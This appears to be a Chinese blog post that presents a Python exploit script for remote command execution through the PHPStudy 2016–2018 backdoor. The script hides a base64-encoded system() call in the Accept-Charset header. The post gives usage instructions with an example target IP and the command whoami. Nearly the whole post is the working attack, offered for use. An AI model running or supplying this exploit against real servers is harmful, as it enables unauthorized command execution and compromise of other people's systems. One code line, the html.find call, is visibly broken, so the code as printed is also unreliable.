phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find(")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

phpstudy_2016-2018_rce_第1张图片

错误执行时

phpstudy_2016-2018_rce_第2张图片

你可能感兴趣的:(python,网络安全,安全,web安全)